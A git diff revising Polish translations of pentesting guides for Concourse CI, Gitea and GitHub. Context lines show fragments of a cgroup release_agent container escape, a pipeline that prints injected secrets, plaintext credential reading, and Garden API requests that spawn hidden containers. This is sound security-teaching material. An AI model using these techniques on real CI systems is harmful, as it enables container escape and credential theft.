 {{#include ../../banners/hacktricks-training.md}}
 
-### User Roles & Permissions
+### Role użytkowników i uprawnienia
 
 Concourse ma pięć ról:
 
 - _Concourse_ **Admin**: Ta rola jest przyznawana tylko właścicielom **głównego zespołu** (domyślny początkowy zespół concourse). Administratorzy mogą **konfigurować inne zespoły** (np.: `fly set-team`, `fly destroy-team`...). Uprawnienia tej roli nie mogą być zmieniane przez RBAC.
 - **owner**: Właściciele zespołów mogą **modyfikować wszystko w zespole**.
 - **member**: Członkowie zespołu mogą **czytać i pisać** w **zasobach zespołu**, ale nie mogą modyfikować ustawień zespołu.
-- **pipeline-operator**: Operatorzy pipeline mogą wykonywać **operacje na pipeline**, takie jak uruchamianie budów i przypinanie zasobów, jednak nie mogą aktualizować konfiguracji pipeline.
+- **pipeline-operator**: Operatorzy pipeline mogą wykonywać **operacje pipeline**, takie jak uruchamianie budów i przypinanie zasobów, jednak nie mogą aktualizować konfiguracji pipeline.
 - **viewer**: Widzowie zespołu mają **dostęp "tylko do odczytu" do zespołu** i jego pipeline.
 
 > [!NOTE]
-> Ponadto, **uprawnienia ról owner, member, pipeline-operator i viewer mogą być modyfikowane** poprzez konfigurację RBAC (konfigurując bardziej szczegółowo jego działania). Przeczytaj więcej na ten temat w: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Ponadto, **uprawnienia ról owner, member, pipeline-operator i viewer mogą być modyfikowane** poprzez konfigurację RBAC (konfigurując bardziej szczegółowo ich działania). Przeczytaj więcej na ten temat w: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
 
-Zauważ, że Concourse **grupuje pipeline w zespoły**. Dlatego użytkownicy należący do zespołu będą mogli zarządzać tymi pipeline i **może istnieć kilka zespołów**. Użytkownik może należeć do kilku zespołów i mieć różne uprawnienia w każdym z nich.
+Zauważ, że Concourse **grupuje pipeline w zespołach**. Dlatego użytkownicy należący do zespołu będą mogli zarządzać tymi pipeline i **może istnieć kilka zespołów**. Użytkownik może należeć do kilku zespołów i mieć różne uprawnienia w każdym z nich.
 
-### Vars & Credential Manager
+### Vars i Menedżer poświadczeń
 
 W konfiguracjach YAML możesz konfigurować wartości używając składni `((_source-name_:_secret-path_._secret-field_))`.\
 [Z dokumentacji:](https://concourse-ci.org/vars.html#var-syntax) **source-name jest opcjonalny**, a jeśli zostanie pominięty, zostanie użyty [menedżer poświadczeń w skali klastra](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), lub wartość może być podana [statycznie](https://concourse-ci.org/vars.html#static-vars).\
 **Opcjonalne \_secret-field**\_ określa pole w pobranym sekrecie do odczytu. Jeśli zostanie pominięte, menedżer poświadczeń może zdecydować się na odczytanie 'domyślnego pola' z pobranych poświadczeń, jeśli pole istnieje.\
 Ponadto, _**secret-path**_ i _**secret-field**_ mogą być otoczone podwójnymi cudzysłowami `"..."`, jeśli **zawierają znaki specjalne** takie jak `.` i `:`. Na przykład, `((source:"my.secret"."field:1"))` ustawi _secret-path_ na `my.secret` i _secret-field_ na `field:1`.
 
-#### Static Vars
+#### Statyczne Vars
 
-Statyczne zmienne mogą być określone w **krokach zadań**:
+Statyczne vars mogą być określone w **krokach zadań**:
 ```yaml
 - task: unit-1.13
 file: booklit/ci/unit.yml
@@ -46,22 +46,22 @@ Or using the following `fly` **arguments**:
 Istnieją różne sposoby, w jakie **Menadżer Poświadczeń może być określony** w potoku, przeczytaj jak w [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
 Ponadto, Concourse obsługuje różne menedżery poświadczeń:
 
-- [Menadżer poświadczeń Vault](https://concourse-ci.org/vault-credential-manager.html)
-- [Menadżer poświadczeń CredHub](https://concourse-ci.org/credhub-credential-manager.html)
-- [Menadżer poświadczeń AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
-- [Menadżer poświadczeń AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
-- [Menadżer poświadczeń Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
-- [Menadżer poświadczeń Conjur](https://concourse-ci.org/conjur-credential-manager.html)
-- [Buforowanie poświadczeń](https://concourse-ci.org/creds-caching.html)
-- [Redagowanie poświadczeń](https://concourse-ci.org/creds-redacting.html)
-- [Ponawianie nieudanych pobrań](https://concourse-ci.org/creds-retry-logic.html)
+- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
+- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
+- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
+- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
+- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
+- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
+- [Caching credentials](https://concourse-ci.org/creds-caching.html)
+- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
+- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
 
 > [!CAUTION]
 > Zauważ, że jeśli masz jakiś rodzaj **dostępu do zapisu do Concourse**, możesz tworzyć zadania, aby **wykradać te sekrety**, ponieważ Concourse musi mieć możliwość ich dostępu.
 
 ### Enumeracja Concourse
 
-Aby enumerować środowisko Concourse, najpierw musisz **zgromadzić ważne poświadczenia** lub znaleźć **uwierzytelniony token**, prawdopodobnie w pliku konfiguracyjnym `.flyrc`.
+Aby enumerować środowisko Concourse, musisz najpierw **zgromadzić ważne poświadczenia** lub znaleźć **uwierzytelniony token**, prawdopodobnie w pliku konfiguracyjnym `.flyrc`.
 
 #### Logowanie i enumeracja bieżącego użytkownika
 
@@ -71,7 +71,7 @@ Aby enumerować środowisko Concourse, najpierw musisz **zgromadzić ważne poś
 - `fly targets`
 - Sprawdź, czy skonfigurowane **połączenie z celem** jest nadal **ważne**:
 - `fly -t <target> status`
-- Uzyskaj **rolę** użytkownika w odniesieniu do wskazanego celu:
+- Uzyskaj **rolę** użytkownika w stosunku do wskazanego celu:
 - `fly -t <target> userinfo`
 
 > [!NOTE]
@@ -116,7 +116,7 @@ rm /tmp/secrets.txt
 - Lista **budów** (aby zobaczyć, co jest uruchomione):
 - `fly -t <target> builds`
 
-### Ataki Concourse
+### Ataki na Concourse
 
 #### Bruteforce poświadczeń
 
@@ -125,7 +125,7 @@ rm /tmp/secrets.txt
 
 #### Enumeracja sekretów i parametrów
 
-W poprzedniej sekcji zobaczyliśmy, jak można **uzyskać wszystkie nazwy i zmienne sekretów** używanych przez pipeline. **Zmienne mogą zawierać wrażliwe informacje**, a nazwa **sekretów będzie przydatna później, aby spróbować je ukraść**.
+W poprzedniej sekcji zobaczyliśmy, jak możesz **uzyskać wszystkie nazwy i zmienne sekretów** używanych przez pipeline. **Zmienne mogą zawierać wrażliwe informacje**, a nazwa **sekretów będzie przydatna później, aby spróbować je ukraść**.
 
 #### Sesja wewnątrz uruchomionego lub niedawno uruchomionego kontenera
 
@@ -138,11 +138,11 @@ Z tymi uprawnieniami możesz być w stanie:
 
 - **Kraść sekrety** wewnątrz **kontenera**
 - Spróbować **uciec** do węzła
-- Enumerować/Abusować punkt końcowy **metadanych chmury** (z podu i z węzła, jeśli to możliwe)
+- Enumerować/Abuse **endpoint metadanych chmury** (z podu i z węzła, jeśli to możliwe)
 
 #### Tworzenie/Modyfikacja Pipeline
 
-Jeśli masz wystarczające uprawnienia (**rola członka lub wyższa**) będziesz mógł **tworzyć/modyfikować nowe pipeline'y.** Sprawdź ten przykład:
+Jeśli masz wystarczające uprawnienia (**rola członka lub wyższa**) będziesz mógł **tworzyć/modyfikować nowe pipeline.** Sprawdź ten przykład:
 ```yaml
 jobs:
 - name: simple
@@ -166,11 +166,11 @@ sleep 1000
 params:
 SUPER_SECRET: ((super.secret))
 ```
-Z **modyfikacją/utworzeniem** nowego pipeline'u będziesz mógł:
+Z **modyfikacją/utworzeniem** nowego pipeline'a będziesz mógł:
 
 - **Kraść** **sekrety** (poprzez ich wyświetlanie lub dostanie się do kontenera i uruchomienie `env`)
-- **Uciec** do **węzła** (dając ci wystarczające uprawnienia - `privileged: true`)
-- Enumerować/wykorzystać punkt końcowy **metadanych chmury** (z poda i z węzła)
+- **Uciec** do **węzła** (dając sobie wystarczające uprawnienia - `privileged: true`)
+- Enumerować/nadużywać punktu końcowego **metadanych chmury** (z poda i z węzła)
 - **Usunąć** utworzony pipeline
 
 #### Wykonaj niestandardowe zadanie
@@ -201,7 +201,7 @@ fly -t tutorial execute --privileged --config task_config.yml
 
 W poprzednich sekcjach zobaczyliśmy, jak **wykonać zadanie uprzywilejowane z concourse**. To nie da kontenerowi dokładnie takiego samego dostępu jak flaga uprzywilejowana w kontenerze docker. Na przykład, nie zobaczysz urządzenia systemu plików węzła w /dev, więc ucieczka może być bardziej "skomplikowana".
 
-W następującym PoC użyjemy release_agent, aby uciec z pewnymi drobnymi modyfikacjami:
+W następującym PoC użyjemy release_agent do ucieczki z pewnymi drobnymi modyfikacjami:
 ```bash
 # Mounts the RDMA cgroup controller and create a child cgroup
 # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
 cat /output
 ```
 > [!WARNING]
-> Jak być może zauważyłeś, to jest po prostu [**zwykłe wyjście z release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) polegające na modyfikacji ścieżki cmd w węźle
+> Jak być może zauważyłeś, to jest po prostu [**zwykłe wydanie escape release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), po prostu modyfikując ścieżkę cmd w węźle
 
 #### Ucieczka do węzła z kontenera Worker
 
-Zwykłe wyjście z release_agent z drobną modyfikacją wystarczy do tego:
+Zwykłe wydanie escape release_agent z drobną modyfikacją wystarczy do tego:
 ```bash
 mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
@@ -293,9 +293,9 @@ cat /output
 ```
 #### Ucieczka do węzła z kontenera Web
 
-Nawet jeśli kontener web ma wyłączone niektóre zabezpieczenia, **nie działa jako zwykły kontener z uprawnieniami** (na przykład, **nie możesz** **zamontować** i **możliwości** są bardzo **ograniczone**, więc wszystkie łatwe sposoby na ucieczkę z kontenera są bezużyteczne).
+Nawet jeśli kontener webowy ma wyłączone niektóre zabezpieczenia, **nie działa jako zwykły kontener z uprawnieniami** (na przykład, **nie możesz** **zamontować** i **możliwości** są bardzo **ograniczone**, więc wszystkie łatwe sposoby na ucieczkę z kontenera są bezużyteczne).
 
-Jednak przechowuje **lokalne poświadczenia w postaci niezaszyfrowanej**:
+Jednak przechowuje **lokalne poświadczenia w postaci czystego tekstu**:
 ```bash
 cat /concourse-auth/local-users
 test:test
@@ -330,12 +330,12 @@ select * from users;
 #### Wykorzystywanie usługi Garden - Nie jest to prawdziwy atak
 
 > [!WARNING]
-> To tylko kilka interesujących uwag na temat usługi, ale ponieważ nasłuchuje ona tylko na localhost, te uwagi nie będą miały żadnego wpływu, którego wcześniej nie wykorzystaliśmy.
+> To tylko kilka interesujących uwag na temat usługi, ale ponieważ nasłuchuje ona tylko na localhost, te uwagi nie będą miały żadnego wpływu, którego wcześniej nie wykorzystaliśmy
 
-Domyślnie każdy pracownik concourse będzie uruchamiał usługę [**Garden**](https://github.com/cloudfoundry/garden) na porcie 7777. Usługa ta jest używana przez mistrza sieci do wskazania pracownikowi **czego potrzebuje do wykonania** (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń:
+Domyślnie każdy pracownik concourse będzie uruchamiał usługę [**Garden**](https://github.com/cloudfoundry/garden) na porcie 7777. Usługa ta jest używana przez mistrza sieci do wskazania pracownikowi **co musi wykonać** (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń:
 
-- Jest **ekspozycja lokalna** (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer webowy mógł **rozmawiać z każdą usługą Garden** wewnątrz każdego pracownika.
-- Serwer webowy **monitoruje działające kontenery co kilka sekund**, a **nieoczekiwane** kontenery są **usuwane**. Więc jeśli chcesz **uruchomić niestandardowy kontener**, musisz **manipulować** **komunikacją** między serwerem webowym a usługą garden.
+- Jest **ekspozycja lokalna** (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer WWW mógł **rozmawiać z każdą usługą Garden** wewnątrz każdego pracownika.
+- Serwer WWW **monitoruje działające kontenery co kilka sekund**, a **nieoczekiwane** kontenery są **usuwane**. Więc jeśli chcesz **uruchomić niestandardowy kontener**, musisz **manipulować** **komunikacją** między serwerem WWW a usługą garden.
 
 Pracownicy concourse działają z wysokimi uprawnieniami kontenera:
 ```
@@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],
 --header='Content-Type:application/json' \
 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
 ```
-Jednak serwer WWW sprawdza co kilka sekund działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie on usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów:
+Jednak serwer webowy co kilka sekund sprawdza działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów:
 ```
 GET /containers HTTP/1.1.
 Host: 127.0.0.1:7777.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 32b97ffbc..925f6ee6c 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
 # If you need to delete it
 helm delete concourse-release
 ```
-Po wygenerowaniu środowiska concourse, możesz wygenerować sekret i przyznać dostęp do SA działającego w concourse web, aby uzyskać dostęp do sekretów K8s:
+Po wygenerowaniu środowiska concourse, możesz wygenerować sekret i dać dostęp do SA działającego w concourse web, aby uzyskać dostęp do sekretów K8s:
 ```yaml
 echo 'apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -87,7 +87,7 @@ Można użyć kilku różnych typów kroków:
 
 Każdy [krok](https://concourse-ci.org/steps.html) w [planie zadania](https://concourse-ci.org/jobs.html#schema.job.plan) działa w **swoim własnym kontenerze**. Możesz uruchomić cokolwiek chcesz wewnątrz kontenera _(tzn. uruchomić moje testy, uruchomić ten skrypt bash, zbudować ten obraz, itd.)_. Więc jeśli masz zadanie z pięcioma krokami, Concourse utworzy pięć kontenerów, po jednym dla każdego kroku.
 
-Dlatego możliwe jest wskazanie, jaki typ kontenera potrzebny jest do uruchomienia każdego kroku.
+Dlatego możliwe jest wskazanie, jaki typ kontenera potrzebuje każdy krok do uruchomienia.
 
 ### Przykład prostego pipeline'a
 ```yaml
@@ -131,13 +131,13 @@ Możliwe jest **zapisanie wyników jednego zadania w pliku** i wskazanie, że je
 
 ### Wyzwalacze
 
-Nie musisz ręcznie wyzwalać zadań za każdym razem, gdy musisz je uruchomić, możesz również zaprogramować je do uruchamiania za każdym razem:
+Nie musisz ręcznie wyzwalać zadań za każdym razem, gdy chcesz je uruchomić, możesz również zaprogramować je do uruchamiania za każdym razem:
 
 - Mija trochę czasu: [Time resource](https://github.com/concourse/time-resource/)
 - Przy nowych commitach do głównej gałęzi: [Git resource](https://github.com/concourse/git-resource)
 - Nowe PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
 - Pobierz lub wypchnij najnowszy obraz swojej aplikacji: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
 
-Sprawdź przykład pipeline'u YAML, który wyzwala się przy nowych commitach do master w [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+Sprawdź przykład pipeline'u YAML, który wyzwala się przy nowych commitach do mastera w [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index 74e9d9a33..d5de040ce 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Czym jest Gitea
+## Co to jest Gitea
 
 **Gitea** to **rozwiązanie do hostowania kodu zarządzane przez społeczność, samodzielnie hostowane, lekkie**, napisane w Go.
 
@@ -41,7 +41,7 @@ W tym scenariuszu zakładamy, że uzyskałeś dostęp do konta github.
 
 ### Z Danymi Użytkownika/Ciastkiem Webowym
 
-Jeśli w jakiś sposób już masz dane logowania dla użytkownika w organizacji (lub ukradłeś ciastko sesji), możesz **po prostu się zalogować** i sprawdzić, jakie **uprawnienia masz** do jakich **repozytoriów**, w **jakich zespołach** jesteś, **wypisać innych użytkowników** oraz **jak są chronione repozytoria.**
+Jeśli w jakiś sposób masz już dane logowania dla użytkownika w organizacji (lub ukradłeś ciastko sesji), możesz **po prostu się zalogować** i sprawdzić, jakie **uprawnienia masz** do jakich **repozytoriów**, w **jakich zespołach** jesteś, **wymienić innych użytkowników** i **jak są chronione repozytoria.**
 
 Zauważ, że **może być używane 2FA**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**.
 
@@ -52,15 +52,15 @@ Zauważ, że **może być używane 2FA**, więc będziesz mógł uzyskać dostę
 
 Gitea pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (2FA nie jest stosowane).
 
-Z tym kluczem możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API gitea w celu enumeracji środowiska. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
+Dzięki temu kluczowi możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API gitea w celu enumeracji środowiska. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
 ```bash
 # Go to the the repository folder
 # Get repo config and current user name and email
 git config --list
 ```
-Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika gitea, możesz uzyskać dostęp do **kluczy publicznych, które ustawił** w swoim koncie pod adresem _https://github.com/\<gitea_username>.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
+Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika gitea, możesz uzyskać dostęp do **kluczy publicznych, które ustawił** na swoim koncie w _https://github.com/\<gitea_username>.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
 
-**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchomić projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi.
+**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchamiać projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi.
 
 #### Klucze GPG
 
@@ -74,7 +74,7 @@ gpg --list-secret-keys --keyid-format=long
 
 Aby uzyskać wprowadzenie na temat [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-gitea-information.md#personal-access-tokens).
 
-Token użytkownika może być używany **zamiast hasła** do **uwierzytelnienia** w serwerze Gitea [**za pomocą API**](https://try.gitea.io/api/swagger#/). Będzie miał **pełny dostęp** do konta użytkownika.
+Token użytkownika może być używany **zamiast hasła** do **uwierzytelnienia** na serwerze Gitea [**za pomocą API**](https://try.gitea.io/api/swagger#/). Będzie miał **pełny dostęp** do użytkownika.
 
 ### Z aplikacją Oauth
 
@@ -99,9 +99,9 @@ Zauważ, że **jeśli jesteś administratorem org/repo**, możesz obejść te za
 
 ### Wyliczanie Webhooków
 
-**Webhooki** są w stanie **wysyłać konkretne informacje gitea do niektórych miejsc**. Możesz być w stanie **wykorzystać tę komunikację**.\
+**Webhooki** mogą **wysyłać konkretne informacje gitea do niektórych miejsc**. Możesz być w stanie **wykorzystać tę komunikację**.\
 Jednak zazwyczaj w **webhooku** ustawiony jest **sekret**, którego **nie możesz odzyskać**, co **zapobiega** zewnętrznym użytkownikom, którzy znają URL webhooka, ale nie znają sekretu, aby **wykorzystać ten webhook**.\
-Jednak w niektórych przypadkach ludzie zamiast ustawić **sekret** w jego miejscu, **ustawiają go w URL** jako parametr, więc **sprawdzanie URL** może pozwolić ci **znaleźć sekrety** i inne miejsca, które możesz dalej wykorzystać.
+Jednak w niektórych przypadkach, ludzie zamiast ustawić **sekret** w jego miejscu, **ustawiają go w URL** jako parametr, więc **sprawdzanie URL** może pozwolić ci **znaleźć sekrety** i inne miejsca, które możesz dalej wykorzystać.
 
 Webhooki mogą być ustawione na **poziomie repozytorium i organizacji**.
 
@@ -109,7 +109,7 @@ Webhooki mogą być ustawione na **poziomie repozytorium i organizacji**.
 
 ### Wewnątrz serwera
 
-Jeśli w jakiś sposób udało ci się dostać do serwera, na którym działa gitea, powinieneś poszukać pliku konfiguracyjnego gitea. Domyślnie znajduje się on w `/data/gitea/conf/app.ini`
+Jeśli w jakiś sposób udało ci się dostać do serwera, na którym działa gitea, powinieneś poszukać pliku konfiguracyjnego gitea. Domyślnie znajduje się on w `/data/gitea/conf/app.ini`.
 
 W tym pliku możesz znaleźć **klucze** i **hasła**.
 
@@ -120,7 +120,7 @@ W ścieżce gitea (domyślnie: /data/gitea) możesz również znaleźć interesu
 - **klucz prywatny jwt** w folderze jwt.
 - Więcej **wrażliwych informacji** można znaleźć w tym folderze.
 
-Jeśli jesteś wewnątrz serwera, możesz również **użyć binarnego pliku `gitea`** do uzyskania/dostosowania informacji:
+Jeśli jesteś wewnątrz serwera, możesz również **użyć binarki `gitea`**, aby uzyskać dostęp/modyfikować informacje:
 
 - `gitea dump` zrzuci gitea i wygeneruje plik .zip.
 - `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` wygeneruje token wskazanego typu (trwałość).
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index eaff61f2b..2313977ca 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -16,7 +16,7 @@ I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**.
 
 ### Organizacje
 
-Gdy **organizacja jest tworzona**, tworzony jest zespół o nazwie **Właściciele** i użytkownik jest do niego dodawany. Ten zespół zapewni **dostęp administracyjny** do **organizacji**, te **uprawnienia** i **nazwa** zespołu **nie mogą być modyfikowane**.
+Gdy **organizacja jest tworzona**, tworzony jest zespół o nazwie **Właściciele** i użytkownik jest do niego dodawany. Ten zespół zapewni **dostęp administracyjny** do **organizacji**, te **uprawnienia** oraz **nazwa** zespołu **nie mogą być modyfikowane**.
 
 **Administratorzy organizacji** (właściciele) mogą wybrać **widoczność** organizacji:
 
@@ -38,7 +38,7 @@ Podczas tworzenia nowego zespołu wybierane są kilka ważnych ustawień:
 
 ### Zespoły i użytkownicy
 
-W repozytorium, **administrator organizacji** i **administratorzy repozytoriów** (jeśli dozwolone przez organizację) mogą **zarządzać rolami** nadawanymi współpracownikom (innym użytkownikom) i zespołom. Istnieją **3** możliwe **role**:
+W repozytorium, **administrator organizacji** oraz **administratorzy repozytoriów** (jeśli pozwala na to organizacja) mogą **zarządzać rolami** przyznawanymi współpracownikom (innym użytkownikom) i zespołom. Istnieją **3** możliwe **role**:
 
 - Administrator
 - Zapis
@@ -48,7 +48,7 @@ W repozytorium, **administrator organizacji** i **administratorzy repozytoriów*
 
 ### Dostęp przez sieć
 
-Używając **nazwa użytkownika + hasło** i potencjalnie (i zalecane) 2FA.
+Używając **nazwa użytkownika + hasło** oraz potencjalnie (i zalecane) 2FA.
 
 ### **Klucze SSH**
 
@@ -56,7 +56,7 @@ Możesz skonfigurować swoje konto z jednym lub kilkoma kluczami publicznymi, po
 
 #### **Klucze GPG**
 
-**Nie możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**.
+Nie **możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**.
 
 ### **Tokeny dostępu osobistego**
 
@@ -79,20 +79,20 @@ Ochrona gałęzi ma na celu **nieprzekazywanie pełnej kontroli nad repozytorium
 **Ochrona gałęzi repozytorium** może być znaleziona w _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> **Nie jest możliwe ustawienie ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium.
+> Nie **można ustawić ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium.
 
 Różne ochrony mogą być stosowane do gałęzi (jak do master):
 
 - **Wyłącz Push**: Nikt nie może wypychać do tej gałęzi
-- **Włącz Push**: Każdy z dostępem może wypychać, ale nie może wymusić wypychania.
-- **Biała lista ograniczonego Push**: Tylko wybrani użytkownicy/zespoły mogą wypychać do tej gałęzi (ale nie wymuszone wypychanie)
+- **Włącz Push**: Każdy z dostępem może wypychać, ale nie może wymusić wypchnięcia.
+- **Biała lista ograniczonego Push**: Tylko wybrani użytkownicy/zespoły mogą wypychać do tej gałęzi (ale nie wymuszone wypchnięcie)
 - **Włącz białą listę scalania**: Tylko użytkownicy/zespoły z białej listy mogą scalać PR-y.
 - **Włącz kontrole statusu:** Wymagaj, aby kontrole statusu przeszły przed scaleniem.
 - **Wymagaj zatwierdzeń**: Wskaź liczbę zatwierdzeń wymaganą przed scaleniem PR.
 - **Ogranicz zatwierdzenia do białej listy**: Wskaź użytkowników/zespoły, które mogą zatwierdzać PR-y.
-- **Zablokuj scalanie na odrzuconych recenzjach**: Jeśli wymagane są zmiany, nie może być scalone (nawet jeśli inne kontrole przejdą)
-- **Zablokuj scalanie na oficjalnych prośbach o recenzję**: Jeśli są oficjalne prośby o recenzję, nie może być scalone
-- **Odrzuć przestarzałe zatwierdzenia**: Po nowych commitach, stare zatwierdzenia zostaną odrzucone.
+- **Zablokuj scalanie przy odrzuconych recenzjach**: Jeśli zmiany są wymagane, nie może być scalone (nawet jeśli inne kontrole przejdą)
+- **Zablokuj scalanie przy oficjalnych prośbach o recenzję**: Jeśli są oficjalne prośby o recenzję, nie może być scalone
+- **Odrzuć przestarzałe zatwierdzenia**: Gdy pojawią się nowe commity, stare zatwierdzenia zostaną odrzucone.
 - **Wymagaj podpisanych commitów**: Commity muszą być podpisane.
 - **Zablokuj scalanie, jeśli pull request jest przestarzały**
 - **Wzory plików chronionych/niechronionych**: Wskaź wzory plików do ochrony/od ochrony przed zmianami
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index 319805fb7..c1e92c569 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Czym jest Github
+## Co to jest Github
 
 (From [here](https://kinsta.com/knowledgebase/what-is-github/)) Na wysokim poziomie, **GitHub to strona internetowa i usługa w chmurze, która pomaga programistom przechowywać i zarządzać swoim kodem, a także śledzić i kontrolować zmiany w swoim kodzie**.
 
@@ -18,23 +18,23 @@ Repozytoria Github mogą być skonfigurowane jako publiczne, prywatne i wewnętr
 
 - **Prywatne** oznacza, że **tylko** osoby z **organizacji** będą mogły uzyskać do nich dostęp
 - **Wewnętrzne** oznacza, że **tylko** osoby z **przedsiębiorstwa** (przedsiębiorstwo może mieć kilka organizacji) będą mogły uzyskać do nich dostęp
-- **Publiczne** oznacza, że **wszyscy w internecie** będą mogli uzyskać do nich dostęp.
+- **Publiczne** oznacza, że **cały internet** będzie mógł uzyskać do nich dostęp.
 
-W przypadku, gdy znasz **użytkownika, repozytorium lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repozytorium**.
+W przypadku, gdy znasz **użytkownika, repo lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repo**.
 
 ### Github Dorks
 
